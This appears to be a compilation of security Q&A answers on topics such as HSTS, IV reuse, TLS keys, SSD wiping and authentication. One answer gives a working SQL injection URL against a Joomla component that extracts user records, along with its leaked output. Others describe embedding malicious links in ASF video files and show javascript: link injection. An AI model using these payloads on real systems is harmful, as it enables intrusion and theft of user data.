This becomes a difficult problem because of the two concurrent requirements that an attacker may control the server, and the content being served (that is, the pages generated by the application) are not finite and static (I'm assuming).

If you only had a few files to host, you can distribute a checksum file out of band, or in the same channel but signed with a trusted PGP key. This is pretty common with installers distributed through a CDN or mirrors. But you want to verify that the code that dynamically generates the served files is some constant.

If the user is running code on their own machine, they can download source code (possibly that has been signed, either as above or with git gpg support or similar) and compile it themselves. But in your situation they have to trust an entire network service infrastructure controlled by an adversary.

It's easy for someone controlling the server to add an intermediary MitM that modifies your requests to the app, or to just ask the app to make a signature for whatever the attacker has already generated. I'm starting to think of methods to combat these (ok, let's sign every request from the user, and the verified app checks that before issuing a response), but they're all going to be plugging holes - and complex security systems are vulnerability breeding grounds. It seems much more honest to me to not try and make this claim to your users.


AES256, repeated IVs and mostly-costant payload: how ok/bad is that?

Consequences of an IV reuse range from "serious" to "dramatic", depending on the encryption mode. AES, by itself, is a block cipher: it processes blocks of 128 bits. When encrypting a message (with a length other than exactly 16 bytes), one must use a block cipher mode of operation. Many such modes are "sequential" in some way, with a running state, and the IV is the initial value for that state.

If the encryption mode is CTR (as is common in many modern extended modes like GCM), IV reuse is deadly, because then the encryption degrades to the infamous multi-times pad. With CBC mode, IV reuse is somewhat less critical, yet serious. In particular, a reused IV is also, by definition, a predictable IV, which can be leveraged in chosen-plaintext attacks like the BEAST attack.

A more general comment is that a reused IV is a sign of incompetence; it is unlikely that the said incompetence stopped at the IV reuse. Chances are that other elements of the whole protocol are similarly poorly designed. Weaknesses don't travel alone...


Is it possible for someone to send a spoofed text message via iMessage to my iPhone4?

It would "show up" in your iMessage but as an sms. So the background color would be green/alternative/grey to what it is normally when going through apples servers.


What are the implications of removing SECURE_HSTS_INCLUDE_SUBDOMAINS = True with Django?

HSTS forces the browser to use HTTPS and protects it from falling victim to protocol downgrade attacks to HTTP.

It basically forces everything to use HTTPS and ensure secure communication between browser and server to prevent leaking sensitive information over a clear connection. The way it works is IF the browser has previously visited the website AND it has seen the HSTS for the website before, it will always force a secure connection. If it hasn't the HSTS header before, then your site users may still be vulnerable to an SSLstrip attack as the attacker may remove the HSTS header.

This communication is used between your website visitor and your server. Normally this header should not be relevant to Mailgun unless you have included a subdomain which points to Mailgun. The reason why HSTS may not be used is that it will force the subdomains to be using a valid SSL certificate. However the SSL certificate will be invalid as it's pointing to mailgun's domain and not yours.

Is this a security issue? It's a minor risk, there are several conditions that would need to occur for someone to be able to retrieve sensitive information through a subdomain. As long as you run your webserver HTTPS only on the main domain and your activation link is not calling your website directly it should be fine.

The other option you have is to send the activation links from a seperate domain.


CSRF Guard - Can it protect service call also?

When you want one applicaton to prove that it has the right to talk to another (the web service) we are no longer talking about CSRF but about authentication.  Usually this is done by secure token sent from web application to web service via a POST request.

Check out the first answer to this
https://stackoverflow.com/questions/6134082/restful-web-service-how-to-authenticate-requests-from-other-services

and

https://www.owasp.org/index.php/Web_Service_Security_Cheat_Sheet


Why does error-based SQL injection works only with certan fields?

Here are which requests work using this injection and which doesn't, associated to their column types:

What works:

Using MySQL internal functions like users(), database(), etc.
Using system variables like @@version, etc.
Accessing short sized column contents like these ones all from the *_users table: *id (int(11)), email (varchar(100)), password (varchar(100)), registerdate (datetime), etc.

What does not work:

Accessing longer sized columns like (still belonging to the *_users table) name (varchar(255)), username (varchar(150)), params (text), otpKey (varchar(1000)), etc.

Here it becomes clear that the thing somehow keeping the error-based SQL injection to work properly is the field size (not matter the content size, the column could be empty).

The solution then becomes crystal clear: add a substr() call to the SQL injection and now the whole database content becomes accessible :) !

http://example.com//index.php?option=com_contenthistory&view=history&list[select]=(select col.a from (select count(*), concat(0x3a, 0x3a, (select substr(name,1,100) from jml_users limit 0,1), 0x3a, 0x3a, floor(rand()*2)) a from information_schema.columns i1 group by a) col),'A' union select uc.id

500 - Duplicate entry '::Noob::1' for key 'group_key'

Owned :)! (I do still wonder though if this limitation is a general one or is limited to this version of MySQL server).


How to intercept thick client application traffic (tcp or http[s])

This tool https://github.com/jrmdev/mitm_relay seems to do this. It uses a trick:
It embeddeds every request into a HTTP POST Request so you can relay it through burp and use every function of burp with arbitrary protocols(well binary could be hard).
Burp then passes the request back to the proxy which strips the http part and forwards the content to the server/client.


If I switch to LUKS on an SSD, have I just wiped it?

No, the data is not wiped. It is trivial to make all data "disappear" by TRIMing the whole drive, but all the data are still on the flash chips and are only slowly wiped in a background process.

Fortunately, most SSDs are already encrypted in hardware precisely to avoid costly full disk wipes. Many consumer SSD brands provide utilities to reset the key which effectively wipes the disk. You can probably also send direct ATA commands using something like hdparm.


It is possible for malware to be embedded in or disguised as a video file, but the effect of doing this depends on how the media player interprets the content.

Embedding hyperlinks in a video file is a type of possible attack.

A practical how-to example: ASF (Microsoft's Advanced System Format) allows for a simple script commands to be executed - "URLANDEXIT" is placed at address 0x1329-133B and following any URL. When this code executes, the user can be directed to download a dangerous file that can be masked as a plugin,update or codec and require the user to execute it in order for the media file to play. At that point, the user gets compromised.

So to get an AV to trigger all you have to do is point that URL to a file (like EICAR) that is detected as a virus by your AV.

Examples of some video format known cases:

.asf - W32/GetCodec.worm - Infects .asf files to embed links to malicious files

.mov - crafted - Executes arbitrary code on the target user's system

.mov - crafted - Launches embedded hyperlinks to pornographic sites

.rm/.rmvb - crafted - Launches malicious web pages without prompting

.rmvb - W32/Realor.worm - Infects Real Media files to embed link to malicious sites

.swf - Exploit-SWF.c - Vulnerability in AVM2 "new function" opcode

.swf - Exploit-CVE-2007-0071 - Vulnerability in DefineSceneAndFrameLabelData

.swf - Exploit-CVE-2010-2885 - Vulnerability in ActionScript Virtual Machine

.swf - Exploit-CVE2010-3654 - Vulnerability in AVM2 MultiName button class

.wma/.wmv - Downloader-UA.b - Exploits flaw in Digital Rights Management


How secure is (permanent) cookie-only authentication?

The security of your approach depends on the ability to protect the cookie against misuse by others - similar to how the security of credential based methods (i.e. username and password) depends on the ability to protect these credentials.
Only, nothing is known about your ability to protect the cookie. It is not known if you use HTTPS to protect against extracting the cookie by sniffing the connection. Neither is known if the cookie is httpOnly to protect against extractions by XSS attacks. It is also not known if attacks to the users system are part of the threats you need to worry about since of course this permanent cookie need to be somehow stored at the users system. And then there might be server side problems which might cause cookies to be leaked too.
In summary: it might be safe enough for your specific use case or it might be not. Too few is known about the use case and how the cookie is protected on the client, in transit and on the server.


How to Prevent This `Intrusion.Win.MSSQL.worm.Helkern`?

Deinstall MS SQL server, if you don't use it.
Make sure that all you software is updated to the most recent security release.

The vulnerability exploited by "SQL Slammer" (named Helkern by Kaspersky) was fixed 8 years ago (!).

It is normal, that any computer connected to the internet, receives a lot of packets that probe for or contain exploits. They are no risk unless a vulnerable software is running on your computer and listening for packets from the Internet.

Unfortunately some security products try to make themselves appear important by showing warnings in these cases. So if you don't have MS SQL server installed, you should configure your security product to only display warnings for real threats.


HSTS on sites available over HTTP and HTTPS

HSTS headers sent over HTTP are ignored by specification compliant browsers - this is to prevent a man-in-the-middle from causing visitors to be unable to access a non-HTTPS website by setting a HSTS rule in the browser. (see RFC 6797)

Therefore, you can safely, although technically incorrectly, serve HSTS headers to all your users, and provide the same pages over HTTP and HTTPS, and deliberately not redirect from insecure to secure pages.

This will have the effect that visitors who visit your HTTPS version will be forced back to it upon future visits (for the duration of the header, at least), and visitors who deliberately visit your HTTP version will stay on that. If they follow a link to the HTTPS version at any point, they will be forced to HTTPS in the future.

As to whether it makes sense, it depends on your objectives, and on your visitors - do you have many visitors from broken proxies? Do you provide information which could be incriminating on some pages?

Personally, I'd just serve the secure version, and have an enforced redirect from the insecure one, especially since search engines seem to be moving towards preferring secure sites.


Requirement 12.1.2 of PCI DSS: Is it enough to point to a standard process?

At a glance, the NIST guide you've linked to describes the goals and backgrounds that would be conducted in an assessment, but there's nothing there you can point to and say, "We followed these steps." It doesn't provide a quantifiable, verifiable process that an auditor can confirm.

You'll have to find another resource or develop your own.


What is meant by "Use of privileged utility programs" in the ISO27001:2013 standard?

Privileged utility programs are applications that require some level of system or administrative privilege to do their jobs.

A good example is an anti-virus application since this requires very low-level access to the system in order to detect certain types of virus.

As you say, not all of the functions of these applications may need privileged access but they will require it for some aspect of their operation.

In general, it is important that users should not have access to privileged functions from their normal user accounts. As soon as they do, it becomes much easier for malware to gain a foothold in a system. It is for this reason that you should not allow administrator accounts to have access to general office software such as email because it becomes trivial to gain access (as a recent audit I am aware of shows all too clearly!).

UPDATE:
Just to clarify for your 2 specific questions:

Policy for access permissions for utilities: This is hard to manage and is actioned only for certain enterprise tools not for OS level general tools.
Other policies:

Separation of concerns is the main policy. Administrators should have standard accounts for email/office/etc and only use privileged accounts when they are really required.

Checks on audit logs are also critical for sensitive systems. Without eyes on auditing, you can never be certain what has been happening.

Annual health checks include phishing attacks against administrators. To help ensure they are adhering to policies and standard security practices.

Staff may need to be vetted or security cleared for sensitive areas.

Access to the most sensitive systems (e.g. PKI master CA's) is heavily restricted with additional access logs and justifications.


Can I trust the source IP of an HTTP request?

Yes (with your assumptions of neglecting the client being able to intercept the return of the handshake at a spoofed IP) if you do things correctly.  HTTP requests are done over TCP; until the handshake is completed the web server doesn't start processing the HTTP request.  Granted a random user could attempt to spoof the end of a handshake; but as they have to guess the server generated ACK, they should only have a 1 in 2^32 (~4 billion) chance of doing it successfully each time.

As Ladadadada commented make sure you aren't picking up the wrong value of the remote IP address in your web application.  You want the IP address from the IP datagram header (specifically, the source IP address).  You do not want values like X-Forwarded-For / X-Real-IP that can be trivially forged as they are set in the HTTP header.  Definitely test by trying to spoof some IP addresses; with say a browser plugin or manually with telnet yourserver.com 80.

The purpose of these fields is so web proxies (that may say cache content to serve it faster) can communicate to webservers the user's real IP address rather than the proxies IP address (which may be for hundreds of users).  However, since anyone can set this field it should not be trusted.


SSL/TLS - Does the client select symmetric key for data encryption?

... that the client is responsible for selecting the symmetric key ...

The keys used for symmetric encryption are not created by the client alone.  With RSA key exchange the client creates the pre-master secret and transfers it encrypted with the servers public key to the server. The master secret is then computed based on client and server data. From RFC 5246 (TLS 1.2) section 8.1:

  master_secret = PRF(pre_master_secret, "master secret",
                      ClientHello.random + ServerHello.random)
                      [0..47];

And from this master secret the keys for encryption and MAC and the IV are derived, as specified in section 6.3 "Key Calculation".

For DH key exchange already the pre-master secret is generated by combining information from client and server. Generating master secret from pre-master stays the same.


With a 'man in the middle' attack, can the attacker find out Client/Server session keys with a compromised AS/TGS secret key?

If a man in the middle was able to get your AS/TGS secret key, then you are doing it wrong.  The entire point of the secret key is that only the TGS knows it and it shouldn't be discoverable.  Preventing a man in the middle attack is the main point of the TGS having a secret key.  If the secret is no longer secret, a man in the middle is possible because the attacker can pretend to be the TGS and you are completely screwed.


Click on the start icon.
Click settings.
Select Network & Internet.
Select Ethernet on the left panel, and click Internet options.
When the Internet Properties window opens, click the Connections
tab.
At the bottom of this window, click LAN settings.
In the Local Area Network (LAN) Settings window, make sure the Use
automatic configuration script and Use a proxy server for your LAN
boxes are not checked, and then click OK.
If any settings were changed, click Apply and then OK.
Confirm the connection by testing two separate web pages.


Are there any solutions available which conform to AAA protocol?

AAA is a concept and an actual software implementation of AAA is in the RADIUS protocol.

  Remote Authentication Dial In User Service (RADIUS) is a networking
  protocol that provides centralized Authentication, Authorization, and
  Accounting (AAA) management for computers to connect and use a network
  service. RADIUS was developed by Livingston Enterprises, Inc., in 1991
  as an access server authentication and accounting protocol and later
  brought into the Internet Engineering Task Force (IETF) standards

FreeRADIUS is the most widely deployed RADIUS server in the world. It is the basis for multiple commercial offerings. It supplies the AAA needs of many Fortune-500 companies and Tier 1 ISPs. It is also widely used in the academic community, including eduroam. The server is fast, feature-rich, modular, and scalable.

TekRADIUS runs on Windows and offers a GUI. The basic features are offered for free; additional versions can be purchased. The TekRADIUS Enterprise version ($149) adds support for EAP-TLS, dynamic self-signed certificate creation for PEAP sessions, NTLM authentication for MS-CHAP authentication methods and regular expression based attribute matching. Then the TekRADIUS SP version ($449) gives you VoIP billing in addition to the enterprise features.

ZeroShell is a router OS, but it is open source and completely free. It also includes a built-in RADIUS server among the usual router functionalities: NAT firewall, VPN, and so on. ZeroShell is offered as a live CD, so it doesn't have to be installed and requires only a small drive to save the configuration.

Here is how to configure and run a RADIUS server on Linux.


Can I find a private key for a known encrypted file?

This is known as a 'known plaintext' attack.  All modern encryption algorithms are designed to be resistant to this type of attack.

Many types of files contain known plaintext.  For example, PDF documents begin with the header '%PDF'.  Other information in most PDF documents is easy to guess, such as embedded fonts, formatting info, etc.  If known plaintext attacks were possible, then it would be possible to derive the key used to encrypt any PDF document, in the manner that you describe, based on this known content.  The same would apply to many other types of files as well.

Appended 5/10/2020 based on the comments below following this answer and other answers to this question:

Very rarely is asymmetric encryption actually used to encrypt large files.  Instead, most asymmetric encryption implementations use hybrid encryption, where a symmetric key is generated, then this key is used to encrypt the files using symmetric encryption (e.g. AES), then the symmetric key is encrypted using asymmetric encryption with the public key, and stored along with the ciphertext.  See https://crypto.stackexchange.com/questions/32692/what-is-the-typical-block-size-in-rsa.

So, even when asymmetric encryption (e.g. RSA) is used, the underlying encryption is most likely done using symmetric encryption (e.g. AES).  Most modern AES implementations are highly resistant to known plaintext attacks - even if the entire file consists of known plaintext.  For example, AES-CBC uses a random initial vector which is XOR'd with the first block of plaintext.  This has the effect of completely randomizing the plaintext before it is encrypted.  Then, this process is repeated for all subsequent blocks.

So, a known plaintext attack is highly unlikely if hybrid encryption is used - but you make a good point that the underlying (symmetric) key that is used to encrypt the files is in memory for the entire time that the encryption is taking place.


Using SSH Private keys in Production environment

If you're doing this to avoid entering passwords, then that implies that either you'll run an SSH agent on Production, or you'll keep an unencrypted private key there.  If it's the latter, then the administrators of Production will have access to your development box.

But if I'm reading between the lines correctly, you're using this approach as a workaround because you can't add your dev key to authorized_keys on Production.  In that case, there's a better way to get what you want.

If you're using OpenSSH, you can avoid entering the password multiple times even with password-based access, by using SSH connection sharing.  Once you've configured this, you SSH into the server normally in one window, typing in your password as normal.  In another window, you do your copying, and your SCP client finds and uses the existing connection with no password entry required.

To set this up:

$ mkdir ~/.ssh/cm_socket

And add the following to your ~/.ssh/config:

ControlMaster auto
ControlPath ~/.ssh/cm_socket/%C
ControlPersist no

After this, SSH and SCP will look for a shared connection by default.  If you want to make a second, non-shared connection for some reason, you can add -S none to your command line.

For more info:

man ssh_config and look for ControlMaster, ControlPath, and ControlPersist
https://stackoverflow.com/q/20410252/460258
https://puppetlabs.com/blog/speed-up-ssh-by-reusing-connections


A number of ways, but none of them easy

A Browser compromise served from an external site where you can ask a user to view a web page from the inside of the network.

Compromising the Router/Firewall/Reverse Proxy box that re-directs the content to the actual internal/dmz web server.

Compromising the internal/dmz web server or db server through injection attacks.

Compromising the dns of the upstream provider can do it.

Man in the Middleing all their traffic if you can.

I might have just made a simple question into a much more general one ... my bad.


Can you securely wipe an SSD by filling the remaining space with bogus data?

Hard drives have a feature called Secure Erase you should use for this. It can vary across different hard drive manufacturers, so you may want to look up the Secure Erase feature for yours. This will wipe the entire drive. SSDs don't reliably write to the same location on drive so "shredding" doesn't work.


I have used an ssh honeypot on a VM in my internal networks. It's a specialized honeypot that gives me information on 2 areas:

Anyone attempting to log in on port 22 is a bad actor and I can correlate the connection info with my traffic logs. I can also see what credentials are attempted to see what accounts might be compromised.
Once the user logs in (it always lets them in), it records all keystrokes the user types, which is very useful in gathering data on the intent of the attacker as well as the level of sophistication of the attack.

For my needs, a high interactivity ssh honeypot works very well because the data it provides is useful. You need to choose a honeypot based on the data you hope to get and how you plan to use the data.

What I don't see from my chosen solution is attacks against other services like http, email, etc. It all comes down to what you want to protect.


Review on encrypted data storage algorithm

Now my main question is, HMAC seems redundant, but seems like the only good way to check that the key is valid, otherwise a hash of the plain text data would need to be compared which would be very easy to reverse engineer / brute force.

HMAC is important. AES CTR encryption gives you confidentiality. But that is not enough. You also need an integrity check, which HMAC can provide. Look up Authenticated Encryption for details.

Getting the implementation right can be tricky so I recommend using AES GCM, which has the integrity check built-in.

But since you're rolling your own integrity check...

  Also, do I really need two separate keys for AES and HMAC?

Yes, but easy to do. Churn the same password through PBKDF2 but with a different iteration count (say 20000). What's interesting about this approach is you could use the key derived for HMAC to authenticate the user, i.e. if the HMAC check fails, don't try decrypting the ciphertext - just return an error stating password was wrong. Although a simplification, this is how password managers work in a nutshell - same password is used for authentication as well as encryption.

  Lastly, does PBKDF2 really help?

Yes, to mitigate against brute force attacks by:

Intentionally making PBKDF2 an expensive operation, especially with higher iterations.
Expanding the password to take up the entire 128 or 256 bit space of AES. Otherwise you'd need ridiculously long passwords.


Is symmetric encryption vulnerable to known plaintext attack?

It sounds like you're describing a "chosen plaintext attack" where Bob can craft a series of special messages that he can use to break the encryption through differential cryptanalysis.

(You might also be thinking of the "known plaintext attack" where Bob knows the plaintext and the ciphertext but can't make special ones - e.g. if Alice is reading the plain texts then she might notice Bob is sending weird messages.)

(And as a0video points out, there are also attacks where the attacker can encrypt the same plain text with different keys.)

Some symmetric encryption algorithms are indeed vulnerable to these attacks.

On a practical note, though, if you are properly using a modern, well established symmetric algorithm, such as AES - and you should be! - then you have little to worry about. The best crypto attacks on AES still don't reduce the time needed to break them to anything remotely do-able.


Does finding deleted thumbnails of webpages I visited mean that I am under surveillance?

No, it does not mean you are under surveillance.

There are loads of reasons why thumbnails of webpages you visited would be on your hard drive. The browser might cache them, e.g. for using on the "frequently visited" page. The OS might create thumbnails of images in your temporary internet files, for quick viewing in file explorers. There are loads of temporary files on your hard drive that various programs and the OS creates for different reasons. When you run a file recovery program, you recover these files together with your ordinary documents.

So why did the files end up on your external drive, and not your main one? That is admittably a bit weird. The obvious explanation is a backup, but you say you never did one. Maybe some kind of sync function that was automatically turned on or that you forgot about using? Maybe some program using a temp folder on the wrong drive?

But more importantly, if you were under surveilence, the malware would most likely not produce files like that. Taking screenshots and storing them on the hard drive seems like a very impractical way of performing surveilence.

So, while I can not tell for sure why the files were there, I think just assuming surveillance here fails Occam's razor. Sure, I can not prove that you are not under surveillance - maybe you are - but the discovery of those files alone would not lead me to believe so.


Is it possible to make my host completely safe from the virtual machine (where I will do malware analysis)?

No, it is not possible to keep your host completely safe by using a VM. And on this years pwn2own competition a guest-drive-by to host system privileges exploit chain was shown.

Yet, for analysis of „regular“ malware, the risk is not as high.

Also, if an exploit in the Networking stack is found, this might also infect your host.

Best practice: have a dedicated VM host machine that doesn’t contain any information.


Which keys are transferred to Apple during an iCloud backup?

There is a newer security guide published by Apple than the one you referenced that contains a list of non-migratory keys, keychain items for which the class is protected.  The word Privacy occurs in the 2012 guide once.  Twenty-one other references were added in the 2016.  Inquiries of this nature are common, especially when iOS users hold medical, financial, intellectual property, and other confidential information.

As you deduced, it is not possible to deserialize the keychain AND provide privacy from internal Apple attackers unless a secret is held on the client and used to encrypt data prior to entering the backup process.  There is no mention of any mechanism that allows the iOS user to install a certificate or set a backup password that Apple cannot access.

If you wish to have highly secure privacy, you need client side encryption at the user interface level.  It is not clear whether an app could reach the App Store with such a privacy device.  Such code would probably be considered a potential source of malware or viruses by Apple.  (See the Commitment to Security section of the new guide.)

Although various comments can be found on your topic, none are from within the Apple development or security teams, as server-side information is surely considered Apple company confidential.  The API for client-side apps is black-box, core services transparency is low, and the Core Backup API is not granular enough to provide hints.

You can read more about the class NSFileProtectionNone and related classes in the API documentation, but no sequence diagram or description is provided.  I was unable to find a sequence or action diagram with any detail to it.  We only know that the transfer is via TLS.

A packet sniffer would produce details, but the second paragraph above would hold regardless of operational details.


Does prepending "http://" to a user-provided string yield a safe-to-use URL?

(The following answer is based on the assumption that escape_double_quotes() only escapes quotation marks.)

It depends on whether the user who is providing the parameter is different from the user who is seeing the link. If a user A is providing the parameter, but another user B may see the resulting link, then user A might maliciously insert a link to exploit user B. Consider the following example:

www.example.com/transfer_money.php?src=userB&dest=userA, which would result in:

print 'link'

Another example:

><a href=javascript:myfunc(), which results in:

print 'link'


Exploit VS Reverse Engineering VS PenTest

There are several technical and non-technical jobs in infosec, but for web developers, with your profile, I would recommend you to read about web applications and it's flaws.

Pentest is usually a several steps activity, when it is executed by a team, maybe only a few members have a good knowledge about more than one field. Exploit writing is really vague, if you plan to write buffer overflows (stack, heap), the basic of assembly is fundamental, but if you keep your focus in web applications, that won't be necessary.

There is not much books or recommendations on the web for a final complete book that you read and magically get all knowledge. Usually what you will read is the technical documentation for the application, man pages, and books on your field. For a good start, install DVWA, get used to read code, understand the vulnerabilities in your field of study (php/java), learn how to exploit it. It would be an easier start it by spending hours debugging your shellcode into gdb. Let those steps for another moment and you will see the results faster.

In parallel with that, keep collecting old versions of software, get used to docker and vagrant, because you will use it a lot to build your test environments.

And keep the magic rule that, you should be able to know how to do certain activities to be someone able to execute a vulnerability assessment on that field. You will really often be asked "but how we fix it ?", if you just print and send a scan report, you will never be really able to get in touch with that kind of activity.

Besides technical skills, you will spend most of your time explaining the impact of a vulnerability to a customer, and how to fix it. Happens a lot, a guy exporting a Nessus report to pdf and sending it via e-mail. This usually isn't something that IT managers keep an eye on, once I worked for a company that just want a second opinion, the result, their main Oracle database was pwned in a matter of a day, with all that hosts in the path compromised too. Now imagine your reputation in the market, after 2 years of just mailing Nessus reports saying that the environment is 100% ok, their finished their contract with the other company in the same day. But that is what happens when people don't work in their area of expertise. That auditor is an excellent professional, with a lot of knowledge on internal processes, ISOs, PCI and security policies, mistakes happen, but never touched an Oracle database, an Open VPN Server, a Cisco router and a Windows Server. Without a deep understanding of a topic, you won't be able to perform a complete pentest on that platform. As an example the same will happen with me if I try to make a vulnerability assessment on a Solaris, what will happen is a lot of google research and several tasks executed because I've read about it, in other words, it would be better results just running Nessus, because my testes would in lack consistency and is possible that I leave something behind.

Another field that may interest you is incident response. If you were able to get a degree in law too, or know a good lawyer to partner with, you will be able to perform the whole response. But you will need to be versatile, know from blocking a DDoS attack, to write a firewall rule, fix a php file inside a production server, parse old application logs to generate a white list in a matter of minutes. Basically is to mitigate the attack, recover from the attack, gather evidence, do the legal aspects of the activity and help the investigators with your gathered evidence.

Like all kind of business, you should think about what is the value of your work to your customers, and a pentest/vulnerability assessment should result in a better understanding of security level of your customer, giving as result what you tested, how you tested, what you found, and what your customer need to do to archive the security level that is needed.


Forge certificate for man in the middle attack

Is it possible to forge a certificate so the MD5 signatures collide

Technically it is possible, but it will take a significant amount of work, this is exactly what hashclash discusses.

Generically, you can clone all aspects of the original certificate (CN, OU, expiry dates, etc) except its signature which depends on the original key pair and the private counter-part of the signing cert. Once you can produce a verifiable signature against parameters you've chosen, you've successfully fully forged a certificate.

Although... this may not be the most efficient use of your time... see below.

  However, the client immediately drops the connection, because it verifies the certificate, this suggests the binary is using certificate pinning.

That is a reasonable assumption and may in fact be true. But it's not the only explanation to the client's behaviour. Some of the reasons that have a client reject a TLS connection can be influenced:

The code could be checking certificate parameters but not its actual signature - which you can, for the most part, duplicate in a fake cert;
The code could simply be checking whether the certificate is valid against a root CA, which you can also influence, by importing your own root CA, having used it to sign the fake cert;
The code could be implementing cert pinning. On a rooted android or JB iDevice you can use objection to bypass some of the cert pinning routines;


Though I've not used them myself, another ruleset is produced by Comodo. I've used a number of their products over the years and they seem OK to deal with.

In addition, you can use the free tier of Cloudflare to add security to your website. I've been using it on both my main sites since they introduced the new facilities towards the backend of last year and it seems pretty good. My sites are faster, I get some analytics and they have blocked a number of potential attacks. Their are paid tiers that give you more control as well. You could use both if you wanted to.


Secure a server on `localhost` such that only the authorized users can connect

Assuming you can manipulate the code of both the server applications, simply drop a random value into a file only readable by the running user at startup of the server, then use that as an authentication token (either directly or as the salt for the response to a challenge). You could, for example, set an http password at startup using a simple script and drop the plain text into a file. But like the client cert, the process of getting the data into the client remains manual.

The only way to get this working transparently to the user without rewriting the client would be to configure a web application for use by all authorized users which populated a token into a cookie on the browser, then wrote a server config file which required that specific cookie to connect and which listened on an assigned port then started the server running as the identified user which therefore implies re-authenticating first, using the OS's authentication mechanism. However this means giving a lot of privilege to the master server instance and the complication of integrated authentication. But managing the ports and processes will be a nightmare.

Can't you just give them VMs?


Is it possible to perform second order SQL injection with email addresses?

It's possible to perform a SQL injection attack anywhere that the system places user defined data (in this case the username) directly into a SQL query without first sanitising it.

So, the answer to your question is yes, it is possible, depending on the behaviour of the system in question.


Certificate Renewal: What stays between an existing expired certificate and a renewed one

Most software, particularly web browsers use the Common Name, and Subject Alternate Name fields to ensure the certificate is valid for a site.

If the identified (be it IP address or hostname - whichever is used to access the site) aligns with a CN or SAN and the certificate otherwise passes validation (accepted certificate authority, start and end dates, etc) then that certificate is considered valid.

Most likely this is mandated by the RFC, but I'm not particularly familiar with that, so I'm speaking only from observation - not with any authority.

Note that this is a massive oversimplification, HSTS and certificate pinning often play a role these days too, which can make an otherwise valid certificate invalid.


Are certificates without DNS fundamentally flawed?

However, in this scheme, couldn't an impostor just present the
  certificate after getting it from the real server?

An impostor cannot present, and take advantage of, the real server's certificate unless it also has the matching private key.  This is true whether the SAN DNS entry or IP entry are used to identify the certificate being presented.


Why isn't U2F's CTAP protocol forwards-compatible with FIDO2's CTAP protocol?

The specification must encompass all roles in the authentication - including how the authenticator identifies itself - robustly across time (both backwards and forwards compatibility). Designing the protocol to be precise about that is the best way to achieve that robustness.
From https://fidoalliance.org/specs/fido-v2.0-ps-20190130/fido-client-to-authenticator-protocol-v2.0-ps-20190130.html

If the authenticator implements CTAP1/U2F, the version information
SHALL be the string "U2F_V2", or 0x5532465f5632, to maintain
backwards-compatibility with CTAP1/U2F-only clients.

If the authenticator ONLY implements CTAP2, the device SHALL respond
with "FIDO_2_0", or 0x4649444f5f325f30.

If the authenticator implements both CTAP1/U2F and CTAP2, the version
information SHALL be the string "U2F_V2", or 0x5532465f5632, to
maintain backwards-compatibility with CTAP1/U2F-only clients.
CTAP2-aware clients may then issue a CTAP authenticatorGetInfo command
to determine if the device supports CTAP2 or not.

In other words, the Feitian K13 can't claim to "support" (be compatible via version information) FIDO2 ... but FIDO2 supports the Feitian K13.


Configure OpenVPN as a local proxy to use it only when needed

OpenVPN is a different kind of tunnel. Proxying is application-to-application. Your browser (completely independent of the rest of your computer) decides to send its traffic through a proxy server running somewhere else. This can be done for on a request-by-request basis if necessary, because its up to the application to decide where its sending its requests.

OpenVPN, on the other hand, works at the network level. You run a program that alters your computer's network configuration. Typically a new "virtual" network interface is created and configured, and your computer's network routing rules are typically changed to send traffic through it based on your pre-established configuration. This is system-wide, and effects all programs running on your machine. There are definite setup and tear-down steps which take several seconds or several tens of seconds, and it's not feasible to do on a per-connection basis.

That said, there may be a sort of hybrid approach. For example, you can create a standing OpenVPN connection which isn't your default route, but which connects to a private network on the othe side (say a 192.168.x.x network for example), and you can set up a proxy machine on that foreign private network. You use your existing techniques to send the desired traffic to the proxy on the other side of the VPN, effectively getting you control over which traffic uses the VPN.

The overhead of OpenVPN is low; so it can be open while you're not using it without consuming significant bandwidth or CPU time. The setup is simple enough, but takes some doing. Obviously you'd need some control over both the VPN configuration and the proxy server on the other side of it. But it can be done.


How to convince team mate about using an allowlist for a link created from a parameter?

As long as you're relying on incoming user information, you'll never be fully protected/safe. Anything can be spoofed, altered, modified; and, subsequently, your component is now compromised.
If you want to go the route of retaining some trust, it would make sense to allowlist. However, going a step further may be more ideal--you issue tokens in lieu of specifying domains (think of how Google Analytics uses a UA-XXX number over mysite.com). Push administration back on their web admin and the possibility of faulty domains/security vulnerabilities is now their responsibility.

To further elaborate what I'm referring to, instead of having a allowlist, setup a database of tokens:
tokens
id       # Primary Key
token    # Unique generated token

Then, have a 1:* relationship where valid origins can be defined for that key:
origins
id       # Primary key
token_id # Forieign Key, tokens.id
origin   # origin (e.g. google.com)

Then create a token for a specific client (whomever is going to include your component on their page). For example, let's say we have the token abc123def456:

Here, your component would perform a server-side lookup against your tokens table and validate. You could also add additional checks against the Referer header, but that's up to you (and realizing Referer could be spoofed anyways). Default bahvior would be to deny *, so you'd show a page saying "No origins specified, please configure" (or something of the sort).
Next, they login to the admin page and add "abc.com". Now, the widget becomes:

Now, server side, you're validating key along with the origin (against your compiled allowlist in origins table (associated to that key). If a hacker were to try to use this (or modify it) an invalid origin (with respect to the key) would bounce and show an error page.
If they decide not to specify origin, you could also configure a default origin so anytime you include just /component?key=abc123def456 it assumes the default origin.
Or something like that


Is it necessary to encrypt messages client side if using HTTPS?

Not sure I undertand exactly how the set up is supposed to work, but the key part here is that all encryption keys seem to reside at the server. That means:

HTTPS (if done right) is enough to protect the messages in transit. If that is your only goal, your setup is fine.
If you want to protect messages at rest on the server, having the key somewhere on the server is a problem. There are different ways of dealing with that. Just storing encryption keys in the database next to the data they are supposed to protect is generally not a good idea. See this answer for alternatives.
This set up doesn't protect users against you. As the operator of the service, you could easily read messages since you sit on all the encryption keys. If that is a problem, you need to implement end-to-end encryption.


When should I issue more than one multi-factor device to a user? Is it OK to give several active tokens vs none at all?

I have several multifactor authnetication devices linked to my paypal account. I also have two different multi-factor authentication devices securing my stackexchange logon.  It is definitely possible to do so.

THere are multiple requirements to do so.  One is simple convenience (I authenticate with the device nearest to me at the time).  A more formal requirement might arise because different tokens are issued at different levels of Assurance (LoA) - I have multiple credentials at different levels of assurance. It may be convenient for me to sign in with a low assurance credential, but if I want to take an action that requires a higher assurance, I may need to re-authenticate with a different credential.

@Lucas Kauffman is entirely correct; I do NOT want my admins to log in with the same credential when they are browsing the internet that they do when they are patching my servers.

This answer could easily go on at book length and be outside the scope of SEC:SE.  The National Strategy for Trusted Identities in Cyberspace (NSTIC) can be viewed as an answer to the question.


Good Question.  TACK is a "dynamic pinning" solution to the broken Certificate Authority model we all depend on today.  A competitor is Google's Certificate Transparency (CT).

Status of TACK is

No browsers currently support it.
There are no browser extensions to enable it.
